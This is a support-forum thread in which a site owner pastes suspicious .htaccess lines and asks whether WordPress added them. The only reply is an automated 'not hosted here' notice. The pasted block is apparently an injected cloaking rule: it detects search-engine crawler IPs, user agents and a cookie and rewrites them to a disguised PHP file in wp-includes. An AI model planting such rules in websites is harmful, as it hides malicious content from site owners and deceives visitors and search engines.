Modified htaccess file

  • Unknown's avatar

    I’m concerned my htaccess file was hacked, but the lines in the file seem to be related to wordpress.
    Yes? or No?

    My .htaccess file has a lot of lines with RewriteCond that end in a RewriteRule that cites wordpress.
    Does any step in my installing a WP blog end up changing my htaccess file on my server?
    Would it look like the following example?

    If this is not right then I need to delete the bad lines of code …
    Let me know!

    Here is an set of lines from the file:

    # DO NOT REMOVE OR MODIFY #
    RewriteEngine on
    RewriteBase /
    RewriteCond %{HTTP_HOST} (^|www.)twna.org
    RewriteCond %{REQUEST_FILENAME} ![^a-zA-Z0-9](css|js|jpeg|gif|png|zip|swf|doc|xls|pdf|ico|tar|gz|bmp|rar|mp3|avi|mpeg|flv)(?|$)
    RewriteCond %{REMOTE_ADDR} ^66.249.[6-9][0-9].[0-9]+$ [OR]
    RewriteCond %{REMOTE_ADDR} ^74.125.[0-9]+.[0-9]+$ [OR]
    RewriteCond %{REMOTE_ADDR} ^217.107.36.[0-9]+$ [OR]
    RewriteCond %{HTTP_REFERER} sape [OR]
    RewriteCond %{HTTP_COOKIE} 3cca28a37dc22cfff5eab70704ee5301 [OR]
    RewriteCond %{HTTP_USER_AGENT} (google|yandex|rambler|msnbot|[Ss]lurp) [NC]
    RewriteRule ^(.*)$ wordpress/wp-includes/link-template.class.php [L]
    AddDefaultCharset utf-8
    # DO NOT REMOVE OR MODIFY #

    The blog I need help with is: (visible only to logged in users)

  • Unknown's avatar

    The blog you specified at http://www.windowview.org does not appear to be hosted at WordPress.com.

    This support forum is for blogs hosted at WordPress.com. If your question is about a self-hosted WordPress blog then you’ll find help at the WordPress.org forums.

    If you don’t understand the difference between WordPress.com and WordPress.org, you may find this information helpful.

    If you forgot to include a link to your blog, you can reply and include it below. It’ll help people to answer your question.

    This is an automated message.

  • The topic ‘Modified htaccess file’ is closed to new replies.